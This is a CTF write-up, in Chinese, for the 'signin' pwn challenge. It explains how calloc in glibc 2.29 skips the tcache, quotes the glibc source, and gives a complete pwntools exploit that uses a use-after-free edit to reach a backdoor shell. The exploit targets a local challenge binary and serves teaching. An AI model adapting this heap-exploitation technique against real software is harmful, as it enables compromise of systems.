i春秋新春戰役PWN之signin(calloc不從tcache裏取chunk)

Signin(calloc不從tcache裏取chunk)

首先,檢查一下程序的保護機制

 

然後,我們用IDA分析一下,存在一個後門函數,要執行後面函數,需要ptr不爲0

Delete功能沒有清空指針

Edit功能存在UAF漏洞,但edit功能只能使用一次

測試出題目給我們的glibc版本爲2.29,存在tcahce機制。

由於edit功能只用一次。同時,我們注意到後門裏函數使用了calloc。

通過閱讀glibc2.29源碼,我們得知calloc不會從tcache bin裏取空閒的chunk,而是從fastbin裏取,取完後,和malloc一樣,如果fastbin裏還有剩餘的chunk,則全部放到對應的tcache bin裏取,採用頭插法

  1.   if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))  
  2.     {  
  3.       idx = fastbin_index (nb);  
  4.       mfastbinptr *fb = &fastbin (av, idx);  
  5.       mchunkptr pp;  
  6.       victim = *fb;  
  7.   
  8.       if (victim != NULL)  
  9.     {  
  10.       if (SINGLE_THREAD_P)  
  11.         *fb = victim->fd;  
  12.       else  
  13.         REMOVE_FB (fb, pp, victim);  
  14.       if (__glibc_likely (victim != NULL))  
  15.         {  
  16.           size_t victim_idx = fastbin_index (chunksize (victim));  
  17.           if (__builtin_expect (victim_idx != idx, 0))  
  18.               malloc_printerr ("malloc(): memory corruption (fast)");  
  19.           check_remalloced_chunk (av, victim, nb);  
  20. #if USE_TCACHE  
  21.           /* While we're here, if we see other chunks of the same size, 
  22.          stash them in the tcache.  */  
  23.           size_t tc_idx = csize2tidx (nb);  
  24.           if (tcache && tc_idx < mp_.tcache_bins)  
  25.         {  
  26.           mchunkptr tc_victim;  
  27.   
  28.           /* While bin not empty and tcache not full, copy chunks.  */  
  29.           while (tcache->counts[tc_idx] < mp_.tcache_count  
  30.             && (tc_victim = *fb) != NULL)  
  31.             {  
  32.               if (SINGLE_THREAD_P)  
  33.                *fb = tc_victim->fd;  
  34.               else  
  35.               {  
  36.                 REMOVE_FB (fb, pp, tc_victim);  
  37.                 if (__glibc_unlikely (tc_victim == NULL))  
  38.                   break;  
  39.               }  
  40.               tcache_put (tc_victim, tc_idx);  
  41.             }  
  42.         }  
  43. #endif  
  44.           void *p = chunk2mem (victim);  
  45.           alloc_perturb (p, bytes);  
  46.           return p;  
  47.         }  
  48.     }  
  49.     }  

那麼,我們可以利用一次edit,把ptr-0x10鏈接到fastbin裏去,然後調用後面函數執行calloc從fastbin裏取出一個chunk,然後剩餘的chunk全部放到對應的tcache bin裏去。由於採用的是頭插法插入,那麼(ptr-0x10)->fd = heap_x_addr,這樣,也就是ptr被寫了一個堆的地址,不爲0了,那麼接下來就會執行system(“/bin/sh”)了。

綜上,我們的exp腳本

#coding:utf8
from pwn import *

sh = process('./signin')
ptr = 0x4040C0

def create(index):
   sh.sendlineafter('your choice?','1')
   sh.sendlineafter('idx?',str(index))

def edit(index,content):
   sh.sendlineafter('your choice?','2')
   sh.sendlineafter('idx?',str(index).ljust(0xE,'\x00'))
   sh.send(content)

def delete(index):
   sh.sendlineafter('your choice?','3')
   sh.sendlineafter('idx?',str(index))
#申請8個堆
for i in range(8):
   create(i)

#釋放8個堆,7個進tcache,1個進fastbin
for i in range(8):
   delete(i)
#從tcache裏取出一個,則還剩下6個
create(8)
edit(7,p64(ptr - 0x10))
#getshell
sh.sendlineafter('your choice?','6')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章